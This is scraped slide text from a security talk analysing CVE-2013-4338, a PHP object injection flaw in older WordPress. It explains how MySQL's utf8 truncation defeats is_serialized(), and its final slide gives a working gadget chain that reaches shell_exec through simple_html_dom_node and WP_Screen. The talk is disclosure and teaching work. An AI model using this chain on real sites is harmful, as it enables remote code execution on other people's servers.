Science&tech:THE INFORMATION AGE STS.pdf
 
Artificial intelligence in the post-deep learning era
Artificial intelligence in the post-deep learning eraArtificial intelligence in the post-deep learning era
Artificial intelligence in the post-deep learning era
 
Integration and Automation in Practice: CI/CD in Mule Integration and Automat...
Integration and Automation in Practice: CI/CD in Mule Integration and Automat...Integration and Automation in Practice: CI/CD in Mule Integration and Automat...
Integration and Automation in Practice: CI/CD in Mule Integration and Automat...
 
costume and set research powerpoint presentation
costume and set research powerpoint presentationcostume and set research powerpoint presentation
costume and set research powerpoint presentation
 
Enhancing Worker Digital Experience: A Hands-on Workshop for Partners
Enhancing Worker Digital Experience: A Hands-on Workshop for PartnersEnhancing Worker Digital Experience: A Hands-on Workshop for Partners
Enhancing Worker Digital Experience: A Hands-on Workshop for Partners
 
My INSURER PTE LTD - Insurtech Innovation Award 2024
My INSURER PTE LTD - Insurtech Innovation Award 2024My INSURER PTE LTD - Insurtech Innovation Award 2024
My INSURER PTE LTD - Insurtech Innovation Award 2024
 
Advanced Test Driven-Development @ php[tek] 2024
Advanced Test Driven-Development @ php[tek] 2024Advanced Test Driven-Development @ php[tek] 2024
Advanced Test Driven-Development @ php[tek] 2024
 
Kotlin Multiplatform & Compose Multiplatform - Starter kit for pragmatics
Kotlin Multiplatform & Compose Multiplatform - Starter kit for pragmaticsKotlin Multiplatform & Compose Multiplatform - Starter kit for pragmatics
Kotlin Multiplatform & Compose Multiplatform - Starter kit for pragmatics
 
Key Features Of Token Development (1).pptx
Key  Features Of Token  Development (1).pptxKey  Features Of Token  Development (1).pptx
Key Features Of Token Development (1).pptx
 
Vulnerability_Management_GRC_by Sohang Sengupta.pptx
Vulnerability_Management_GRC_by Sohang Sengupta.pptxVulnerability_Management_GRC_by Sohang Sengupta.pptx
Vulnerability_Management_GRC_by Sohang Sengupta.pptx
 
AI as an Interface for Commercial Buildings
AI as an Interface for Commercial BuildingsAI as an Interface for Commercial Buildings
AI as an Interface for Commercial Buildings
 
SQL Database Design For Developers at php[tek] 2024
SQL Database Design For Developers at php[tek] 2024SQL Database Design For Developers at php[tek] 2024
SQL Database Design For Developers at php[tek] 2024
 
Kotlin Multiplatform & Compose Multiplatform - Starter kit for pragmatics
Kotlin Multiplatform & Compose Multiplatform - Starter kit for pragmaticsKotlin Multiplatform & Compose Multiplatform - Starter kit for pragmatics
Kotlin Multiplatform & Compose Multiplatform - Starter kit for pragmatics
 

PHP Object Injection Vulnerability in WordPress: an Analysis

  • 2. About me ❖ Tom Van Goethem ❖ PhD Student at ❖ Security Researcher ❖ Blogger — http://vagosec.org ❖ — @tomvangoethem 2
  • 3. Agenda ❖ WordPress ❖ PHP Object Injection ❖ UTF-8 and MySQL ❖ Vulnerability ❖ Exploit ❖ Demo 3
  • 4. WordPress ❖ Free and open source web blogging system and CMS ❖ PHP, MySQL ❖ Plugin & template architecture ❖ 60,000,000 websites ❖ aprox. 19% of top 10mil 4
  • 5. WordPress ❖ 510 vulnerabilities since 2004 ❖ Most from plugins ❖ 2013: 16 vulnerabilities ❖ CVE-2013-4338 5
  • 6. CVE-2013-4338 6 wp-­‐includes/functions.php  in  WordPress  before  3.6.1  does   not  properly  determine  whether  data  has  been  serialized,   which  allows  remote  attackers  to  execute  arbitrary  code   by  triggering  erroneous  PHP  unserialize  operations.
  • 7. PHP Object Injection ❖ PHP’s unserialize() can instantiate objects ❖ Some “magic methods” are executed on instantiation/when printed/... ❖ Passing user-input to PHP’s unserialize() may have disastrous effects 7
  • 8. PHP Object Injection 8 <?php! class File {! ! public $file;! ! ! function __construct($file) {! ! ! $this->file = $file;! ! }! ! function __destruct() {! ! ! unlink($this->file);! ! }! ! function __toString() {! ! ! $fh = fopen($this->file, 'r');! ! ! $r = fread($fh, filesize($this->file));! ! ! return $r;! ! }! ! // ...! }! ?>
  • 9. PHP Object Injection 9 <?php! require_once('File.php');! $in = $_GET['in'];! $obj = unserialize($in);! echo '<h1>' . $obj . '<h1>';! ?> <?php! require_once('File.php');! $obj = new File('secret.txt');! $payload = serialize($obj);! echo $payload;! ?> victim.php attacker.php
  • 12. UTF-8 ❖ In the beginning... there was ASCII ‣ American Standard Code for Information Interchange ‣ 7 bits ‣ 127 characters ❖ I 💖 Москва ❖ Support for many other characters needed 12
  • 13. UTF-8 ❖ Then came Unicode ‣ maps more than 100,000 characters to a number ‣ still requires encoding ❖ UTF-8 ‣ backwards compatible with ASCII ‣ 1-4 bytes long ‣ supports code points U+0000 to U+10FFFF ! I 💖 Москва = U+0049 U+0020 U+1F496 U+0020 U+041C U+043E ...
 I = 01001001
 💖 = 11110000 10011111 10010010 10010110
 13
  • 15. UFT-8 and MySQL ❖ MySQL has utf8 charset ‣ All we need, right? 15
  • 16. UFT-8 and MySQL 16 CREATE SCHEMA utf8test DEFAULT CHARACTER SET utf8;! ! CREATE TABLE utf8test.utf8test_table (! utf8test_column VARCHAR(255) CHARACTER SET 'utf8' NULL)! DEFAULT CHARACTER SET = utf8;! ! INSERT INTO utf8test_table (utf8test_column) VALUES ('I love Москва');! # Query OK, 1 row affected (0.00 sec)! ! INSERT INTO utf8test_table (utf8test_column) VALUES ('I 💖 Москва');! # Query OK, 1 row affected, 1 warning (0.00 sec)! ! SHOW WARNINGS;! # Incorrect string value: 'xF0x9Fx92x96 xE3...' for column 'utf8test_column' at row 1! ! SELECT * FROM utf8test.utf8test_table;! # +--------------------+! # | utf8test_column |! # +--------------------+! # | I love Москва |! # | I |! # +--------------------+
  • 17. UFT-8 and MySQL ❖ From MySQL Reference Manual: ! ❖ MySQL’s utf8 supports U+0000 to U+FFFF ❖ What with U+10000 to U+10FFFF? ‣ MySQL’s behavior: depends on character set ➡ with utf8: drop character and everything that follows 17
  • 19. Vulnerability ❖ WordPress user-meta data can be serialized ❖ user-meta? ‣ first name, last name, contact info, ... ‣ stored in wp_usermeta (default charset utf8) ❖ can be serialized? ‣ normal string → normal string ‣ object → serialize(object) ‣ serialized string → serialize(serialized string) 19
  • 20. Vulnerability ❖ When stored in DB, content is serialized ‣ only if is_serialized() returns true ❖ When retrieved from DB, content is unserialized ‣ only if is_serialized() returns true 20
  • 21. 21 function is_serialized($data) {! ! // if it isn't a string, it isn't serialized! ! if (!is_string($data)) { return false; }! ! $data = trim($data);!  ! if ('N;' == $data) { return true; }! ! $length = strlen($data);! ! if ($length < 4) { return false; }! ! if (':' !== $data[1]) { return false; }! ! $lastc = $data[$length-1];! ! if (';' !== $lastc && '}' !== $lastc) { return false; }! ! $token = $data[0];! ! switch ($token) {! ! ! case 's' :! ! ! ! if ('"' !== $data[$length-2]) { return false; }! ! ! case 'a' :! ! ! case 'O' :! ! ! ! return (bool) preg_match("/^{$token}:[0-9]+:/s", $data);! ! ! case 'b' :! ! ! case 'i' :! ! ! case 'd' :! ! ! ! return (bool) preg_match("/^{$token}:[0-9.E-]+;$/", $data);! ! }! ! return false;! }!
  • 22. Vulnerability ❖ What we need: ‣ when inserted in DB, is_serialized() should return false ‣ when retrieved from DB, is_serialized() should return true ❖ Let’s put one and one together ‣ append 4-byte UTF-8 character to serialized string ‣ is_serialized() returns false: ‣ when stored in DB: last character dropped ‣ when retrieved: is_serialized() returns true ‣ unserialize() is called on arbitrary user-content 22 if (';' !== $lastc && '}' !== $lastc)
 return false;
  • 25. Exploit ❖ Vulnerability: ✓ ❖ Needed for a working exploit: ‣ class with “useful” magic method ➡ __destruct(), __toString(), __wakeup()! ‣ is included at right time ❖ Not found in WordPress core... 25
  • 26. Exploit ❖ ...anything you can imagine... ☺ 26
  • 27. 27
  • 29. 29 class simple_html_dom_node {!     function __construct($dom) {!         $this->dom = $dom;!         $dom->nodes[] = $this;!     }!     function __destruct() {!         $this->clear();!     }!     function __toString() {!         return $this->outertext();!     }!     function outertext() {!         // ...!         if ($this->dom && $this->dom->callback!==null) {!             call_user_func_array($this->dom->callback, array($this));!         }!         // ...!     }!     // ...! }
  • 30. 30 final class WP_Screen {!     public function render_screen_meta() {!         // ...!         foreach ($this->_help_tabs as $tab):!             if (!empty($tab['callback']))!                 call_user_func_array($tab['callback'], array($this, $tab));!         endforeach;!     }!     // ...! } function wp_generate_tag_cloud($tags, $args = '') {!     // ...!     $args = wp_parse_args($args, $defaults);!     extract($args);!     // ...!     foreach ((array) $tags as $key => $tag) {!         $real_counts[$key] = $tag->count;!         $counts[$key] = $topic_count_scale_callback($tag->count);!     }!     // ...! }
  • 31. 31
  • 32. 32 class simple_html_dom_node {! ! private $dom;! ! public function __construct() {! ! ! $callback = array(new WP_Screen(), 'render_screen_meta');! ! ! $this->dom = (object) array('callback' => $callback);! ! }! }! class WP_Screen {! ! private $_help_tabs;! ! public $action;! ! function __construct() {! ! ! $count = array('count' => 'echo "pwned!" > /tmp/pwned.txt');! ! ! $this->action = (object) $count;! ! ! $this->_help_tabs = array(array(! ! ! ! 'callback' => 'wp_generate_tag_cloud', ! ! ! ! 'topic_count_scale_callback' => 'shell_exec'));! ! }! }! echo serialize(new simple_html_dom_node()).'💖';